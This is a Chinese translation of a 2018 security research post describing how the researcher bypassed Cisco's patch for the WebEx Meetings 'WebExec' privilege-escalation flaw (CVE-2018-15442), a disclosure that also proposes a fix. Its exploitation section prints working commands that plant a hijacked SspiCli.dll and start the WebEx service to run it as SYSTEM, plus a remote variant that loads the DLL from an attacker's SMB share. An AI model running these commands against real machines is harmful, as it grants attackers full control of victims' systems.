如何绕过Cisco WebEx Meetings Desktop App最新补丁

Track-SSG   ·   发表于 2018-12-05 11:00:14   ·   漏洞文章
译文声明

本文是翻译文章,文章原作者srcincite,文章来源:srcincite.io                                
原文地址:https://srcincite.io/blog/2018/12/03/webexec-reloaded-cisco-webex-meetings-desktop-app-lpe.html
                           


译文仅供参考,具体内容表达以及含义原文为准

 

一、前言

前一段时间,Ron Bowes发现Cisco WebEx Meetings Desktop App中存在一个漏洞,这是一个本地权限提升漏洞,如果攻击者具备用户账户凭据,还能利用psexecSYSTEM身份远程执行代码。Ron Bowes将该漏洞命名为WebExec,还为此专门建了一个网站。现在的问题在于,官方给的补丁貌似并不完美。

在本文中,我重新发现了CVE-2018-15442的利用方法,绕过了官方对原始漏洞的补丁。由于原始漏洞和补丁绕过方法相似,因此Cisco决定不为该漏洞发布新的CVE编号,我也比较认同这一决定。从技术角度来讲,这是一个远程代码执行漏洞,但该漏洞的触发方式比较特别,在本地上下文中更好利用。

 

二、简介

Webex网站上对webex的总结如下:

……在Webex Meetings的帮助下,加入会议是非常简单的一件事,音频和视频也更加清晰、屏幕共享比以前更加方便。您可以不用去关心背后的技术,专注更为重要的事务……

话虽如此,麻烦Cisco还是不要忘记技术上的安全性。

在阅读Ron的文章后,我们知道底层的问题在于WebExService会接收用户可控的一个二进制文件,并将其以SYSTEM权限运行。对漏洞利用来说这真是极好的一件事,感谢Cisco!

 

三、再次发现漏洞

根据Ron的描述,打上补丁后应用会检查待执行的文件是否经过WebEx签名。

打上补丁后,WebEx仍然可以让远程用户连接并启动进程。然而,如果待运行的可执行文件没有经过WebEx的签名,那么就会停止运行。不幸的是,我们并不知道该主机是否存在漏洞。

好吧,让我们按照正常步骤走,自己检查一下补丁情况。从Cisco的CDN上安装最新版应用后,可以发现官方已经打上最新补丁:

图1. 目前33.6.2.16为最新版本

深入分析C:\Program Files\Webex\Webex\Applications\WebExService.exe这个文件后,我们可以看到有趣的一些点。首先我注意到程序代码只查找一种参数类型,即software-update:


随后,程序代码调用PathCombineW,参数为我们在命令行中提供的字符串ptupdate.exe。看到这里我已经不想进一步逆向分析了,我甚至懒得去逆向分析签名检查函数或者模拟及执行函数,我心中已经有了攻击计划。

 

四、漏洞利用

此时,我们需要做的就是将C:\Program Files\Webex\Webex\Applications\*中的所有文件拷贝到用户(访客用户或者本地用户)可控的一个目录中(该目录也可以是沙盒目录),然后寻找DLL劫持漏洞,或者删除某个DLL实现DLL劫持。

在可以避免的情况下,我不喜欢程序出现非预期行为,因此我想寻找不影响程序状态的DLL植入问题。为了完成这个任务,我首先执行了如下命令:

mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
sc start webexservice a software-update 1 %cd%\si

结果表明,SspiCli.dll貌似是一个不错的目标。

图2. ptUpdate.exe无法在当前目录中找到SspiCli.dll

当然,我们还可以继续分析并利用其他43个LoadLibraryW调用。此时,在PoC利用场景中,我们需要再加入1条命令:

mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
copy SspiCli.dll %cd%\si
sc start webexservice a software-update 1 %cd%\si

图3. 通过DLL劫持以SYSTEM权限执行代码

如上所述,从技术角度来看,我们也可以实现以SYSTEM权限运行的RCE效果,但这个过程必须通过身份认证,此时我们可以使用sc \victim start webexservice a software-update 1 "\attackersharesi"这条命令。

 

五、总结

如果某个高权限服务执行了文件操作,并且文件路径可由攻击者控制,那么该服务就很容易成功攻击者的目标。这个漏洞非常简单,但功能强大,可以通过SMB方式从远程触发,也能作为沙箱逃逸的一种方法。我认为逻辑漏洞将成为未来主流的漏洞利用目标,此时攻击者距离突破操作系统级别防护仅一步之遥。

Cisco并没有第一时间完全补掉这个漏洞,这一点令人难以置信。Cisco只需要固定C:\Program Files\Webex\Webex\Applications目录,并且移除用户控制的所有输入点即可。我总共花了10分钟就找到了这个漏洞,也给这个漏洞起了个名字:WebExec reloaded,重新载入攻击者可控的任意DLL文件,非常形象。

最后,非常感谢iDefense在漏洞处置过程中发挥的作用。

 

六、参考资料

  • https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181024-webex-injection
  • https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
  • 本文翻译自 srcincite.io,原文链接。

    打赏我,让我更有动力~

    0 条回复   |  直到 2018-12-5 | 1394 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.